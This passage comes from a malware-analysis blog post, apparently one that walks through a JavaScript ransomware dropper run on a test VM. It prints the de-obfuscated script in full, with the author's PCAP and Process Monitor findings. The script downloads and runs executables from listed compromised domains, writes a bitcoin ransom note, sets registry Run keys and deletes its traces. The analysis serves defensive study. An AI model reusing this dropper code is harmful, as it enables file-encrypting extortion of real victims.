') ';\r\nq86 += 'als';\r\nv79 += '+ad+';\r\nv79 += 'fp.';\r\nq86 += 'e); ';\r\nv79 += 'f t';\r\nq86 += 'xo.';\r\nv79 += ' to';\r\nv79 += '"2';\r\nq86 += 'se';\r\nv79 += 'eLi';\r\nq86 += 'nd';\r\nv79 += ' fo';\r\nv79 += 'id="';\r\nq86 += '()';\r\nv79 += ')+c';\r\nq86 += '; };';\r\nv79 += 'ite';\r\nq86 += ' }';\r\nv79 += '+"a';\r\nq86 += ';';\r\nv79 += 'iro';\r\nalert(q86);<\/pre>\n
Using Revelo I was able to de-obfuscate the javascript. I got this idea by using the steps listed over on Kahu Security’s site here<\/a> since I was trying to figure out how to get the “EVAL” to trigger correctly using the trick of changing “EVAL” to “ALERT.” Below is the javascript code after de-obfuscation:<\/p>\n
\r\nvar id = "Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0";\r\nvar ad = "1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf";\r\nvar bc = "0.44591";\r\nvar ld = 0;\r\nvar cq = String.fromCharCode(34);\r\nvar cs = String.fromCharCode(92);\r\nvar ll = ["kutubhanam.com", "suwandesign.com", "www.mariaberdun.com", "nikkov.com", "clermontcentralchurch.org"];\r\nvar ws = WScript.CreateObject("WScript.Shell");\r\nvar fn = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "a";\r\nvar pd = ws.ExpandEnvironmentStrings("%TEMP%") + cs + "php4ts.dll";\r\nvar xo = WScript.CreateObject("Msxml2.XMLHTTP");\r\nvar xa = WScript.CreateObject("ADODB.Stream");\r\nvar fo = WScript.CreateObject("Scripting.FileSystemObject");\r\nif (!fo.FileExists(fn + ".txt")) {\r\n    for (var n = 1; n <= 5; n++) {\r\n        for (var i = ld; i < ll.length; i++) {\r\n            var dn = 0;\r\n            try {\r\n                xo.open("GET", "http:\/\/" + ll[i] + "\/counter\/?ad=" + ad + "&id=" + id + "&rnd=" + i + n, false);\r\n                xo.send();\r\n                if (xo.status == 200) {\r\n                    xa.open();\r\n                    xa.type = 1;\r\n                    xa.write(xo.responseBody);\r\n                    if (xa.size > 1000) {\r\n                        dn = 1;\r\n                        if (n <= 2) {\r\n                            xa.saveToFile(fn + n + ".exe", 2);\r\n                            try {\r\n                                ws.Run(fn + n + ".exe", 1, 0);\r\n                            } catch (er) {};\r\n                        } else if (n == 3) {\r\n                            xa.saveToFile(fn + ".exe", 2);\r\n                        } else if (n == 4) {\r\n                            xa.saveToFile(pd, 2);\r\n                        } else if (n == 5) {\r\n                            xa.saveToFile(fn + ".php", 2);\r\n                        }\r\n                    };\r\n                    xa.close();\r\n                };\r\n                if (dn == 1) {\r\n                    ld = i;\r\n                    break;\r\n                };\r\n            } catch (er) {};\r\n        };\r\n    };\r\n    if (fo.FileExists(fn + ".exe") && fo.FileExists(pd) && fo.FileExists(fn + ".php")) {\r\n        xo.open("GET", "http:\/\/" + ll[ld] + "\/counter\/?ad=" + ad + "&id=" + id + "&st=start", false);\r\n        xo.send();\r\n        var fp = fo.CreateTextFile(fn + ".txt", true);\r\n        fp.WriteLine("ATTENTION!");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("All your documents, photos, databases and other important personal files");\r\n        fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key.");\r\n        fp.WriteLine("To restore your files you have to pay " + bc + " BTC (bitcoins).");\r\n        fp.WriteLine("Please follow this manual:");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("1. Create Bitcoin wallet here:");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("      http:\/\/blockchain.info\/wallet\/new");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("2. Buy " + bc + " BTC with cash, using search here:");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("      http:\/\/localbitcoins.com\/buy_bitcoins");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("3. Send " + bc + " BTC to this Bitcoin address:");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("      " + ad);\r\n        fp.WriteLine("");\r\n        fp.WriteLine("4. Open one of the following links in your browser to download decryptor:");\r\n        fp.WriteLine("");\r\n        for (var i = 0; i < ll.length; i++) {\r\n            fp.WriteLine("      http:\/\/" + ll[i] + "\/counter\/?a=" + ad);\r\n        };\r\n        fp.WriteLine("");\r\n        fp.WriteLine("5. Run decryptor to restore your files.");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("PLEASE REMEMBER:");\r\n        fp.WriteLine("");\r\n        fp.WriteLine("      - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES.");\r\n        fp.WriteLine("      - Nobody can help you except us.");\r\n        fp.WriteLine("      - It`s useless to reinstall Windows, update antivirus software, etc.");\r\n        fp.WriteLine("      - Your files can be decrypted only after you make payment.");\r\n        fp.WriteLine("      - You can find this manual on your desktop (DECRYPT.txt).");\r\n        fp.Close();\r\n        ws.Run("%COMSPEC% \/c REG ADD " + cq + "HKCU" + cs + "SOFTWARE" + cs + "Microsoft" + cs + "Windows" + cs + "CurrentVersion" + cs + "Run" + cq + " \/V " + cq + "Crypted" + cq + " \/t REG_SZ \/F \/D " + cq + fn + ".txt" + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c REG ADD " + cq + "HKCR" + cs + ".crypted" + cq + " \/ve \/t REG_SZ \/F \/D " + cq + "Crypted" + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c REG ADD " + cq + "HKCR" + cs + "Crypted" + cs + "shell" + cs + "open" + cs + "command" + cq + " \/ve \/t REG_SZ \/F \/D " + cq + "notepad.exe " + cs + cq + fn + ".txt" + cs + cq + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c copy \/y " + cq + fn + ".txt" + cq + " " + cq + "%AppData%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c copy \/y " + cq + fn + ".txt" + cq + " " + cq + "%UserProfile%" + cs + "Desktop" + cs + "DECRYPT.txt" + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c " + fn + ".exe " + cq + fn + ".php" + cq, 0, 1);\r\n        ws.Run("%COMSPEC% \/c notepad.exe " + cq + fn + ".txt" + cq, 0, 0);\r\n        var fp = fo.CreateTextFile(fn + ".php", true);\r\n        for (var i = 0; i < 1000; i++) {\r\n            fp.WriteLine(ad);\r\n        };\r\n        fp.Close();\r\n        ws.Run("%COMSPEC% \/c DEL " + cq + fn + ".php" + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c DEL " + cq + fn + ".exe" + cq, 0, 0);\r\n        ws.Run("%COMSPEC% \/c DEL " + cq + pd + cq, 0, 0);\r\n        xo.open("GET", "http:\/\/" + ll[ld] + "\/counter\/?ad=" + ad + "&id=" + id + "&st=done", false);\r\n        xo.send();\r\n    };\r\n};<\/pre>\n
In the de-obfuscated code there were multiple domains listed which only one was used (kutubhanam.com). None of the others were attempted from what I can tell in the PCAP. The script also shows some of the commands used to write to the different file locations and registry keys on my test VM. I will briefly talk about that in a minute.<\/p>\n
From here it looks like the script now starts the task of doing it’s evil and looking at the environment variables for the system and also pulling the other malicious files from the site “kutubhanam.com.” The script runs through this just five times (for(var n=1;n<=5;n++)) which dynamically creates the 5 calls to the malicious domain as you can see below:<\/p>\n
\"\"<\/a><\/p>\n
The files that were downloaded stated that they were supposed to be “image\/png” files, but looking into these requests I saw that they were binary files instead:<\/p>\n
\r\n\tGET \/counter\/?ad=1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf&id=Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0&rnd=01 HTTP\/1.1\r\n\tAccept: *\/*\r\n\tUA-CPU: AMD64\r\n\tAccept-Encoding: gzip, deflate\r\n\tUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\n\tHost: kutubhanam.com\r\n\tConnection: Keep-Alive\r\n\r\n\tHTTP\/1.1 200 OK\r\n\tDate: Tue, 14 Jun 2016 11:20:10 GMT\r\n\tServer: Apache\r\n\tContent-Disposition: attachment; filename=396e9f53d.png\r\n\tContent-Length: 271000\r\n\tVary: User-Agent\r\n\tKeep-Alive: timeout=15, max=300\r\n\tConnection: Keep-Alive\r\n\tContent-Type: image\/png\r\n\r\n\tMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.<\/pre>\n
After downloading the files the last two requests made for HTTP took about 6 milliseconds to complete and is labeled “start” and “finish” as you can see below from the Wireshark capture. I am not sure what the significance of the “start” and “finish” is within the URL or if it is just someone having a sense of humor with the traffic:<\/p>\n
\r\n\tGET \/counter\/?ad=1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf&id=Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0&st=start HTTP\/1.1\r\n\tAccept: *\/*\r\n\tUA-CPU: AMD64\r\n\tAccept-Encoding: gzip, deflate\r\n\tUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\n\tHost: kutubhanam.com\r\n\tConnection: Keep-Alive\r\n\r\n\tHTTP\/1.1 200 OK\r\n\tDate: Tue, 14 Jun 2016 11:20:33 GMT\r\n\tServer: Apache\r\n\tVary: User-Agent,Accept-Encoding\r\n\tContent-Encoding: gzip\r\n\tContent-Length: 20\r\n\tKeep-Alive: timeout=15, max=295\r\n\tConnection: Keep-Alive\r\n\tContent-Type: text\/html\r\n\r\n\t....................\r\n\r\n\tGET \/counter\/?ad=1PXyK1CM8Dyr9tV51Ubub5imyvpmvqVmVf&id=Tff6CxOofKLv46njM9MdfD_bBw7qRFZ6ffAJEPEXmzdahf7_QaFE8NdPA8MC7WRLiyTxoxCLTP0&st=done HTTP\/1.1\r\n\tAccept: *\/*\r\n\tUA-CPU: AMD64\r\n\tAccept-Encoding: gzip, deflate\r\n\tUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\n\tHost: kutubhanam.com\r\n\tConnection: Keep-Alive\r\n\r\n\tHTTP\/1.1 200 OK\r\n\tDate: Tue, 14 Jun 2016 11:20:39 GMT\r\n\tServer: Apache\r\n\tVary: User-Agent,Accept-Encoding\r\n\tContent-Encoding: gzip\r\n\tContent-Length: 20\r\n\tKeep-Alive: timeout=15, max=294\r\n\tConnection: Keep-Alive\r\n\tContent-Type: text\/html\r\n\r\n\t....................<\/pre>\n
Switching gears and looking at this malware infection live via Process Monitor I could see that that once I ran the javascript within IE, the process “wscript.exe” kicked off and read the file. I then saw it looking at the registry keys related to crypto (which is what I am assuming is leveraging to encrypt the files on the system). After a little while there are calls to the registry keys of MSXMLHTTP, msxml3.dll, and other files which, I am assuming, are helping with the domain calls from the script above to pull down the additional malware. From here it writes many different files to the system in various locations, along with many registry keys (some of which help obtain persistence on the system). For example, I believe that the malware used (ie: a.exe, and a2.exe) on the system was originally downloaded in an encrypted format as PNG files. These files were stored in different folders located in the “Temp Internet Files” directory (C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\). Looking at the hashes of the files that were written to the system (and that I was able to capture), some of these are the same as you can see below in the section about hashes. We can also see that something gets run at startup (C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\9840ab.lnk) since there is a shortcut placed by the REGSVR32.exe process. For a deeper look into what files and registry keys were added or deleted, take a look at the Process Monitor logs that I captured during the infection of my test VM. <\/p>\n
You can also watch the infection of my VM below as well.<\/p>\n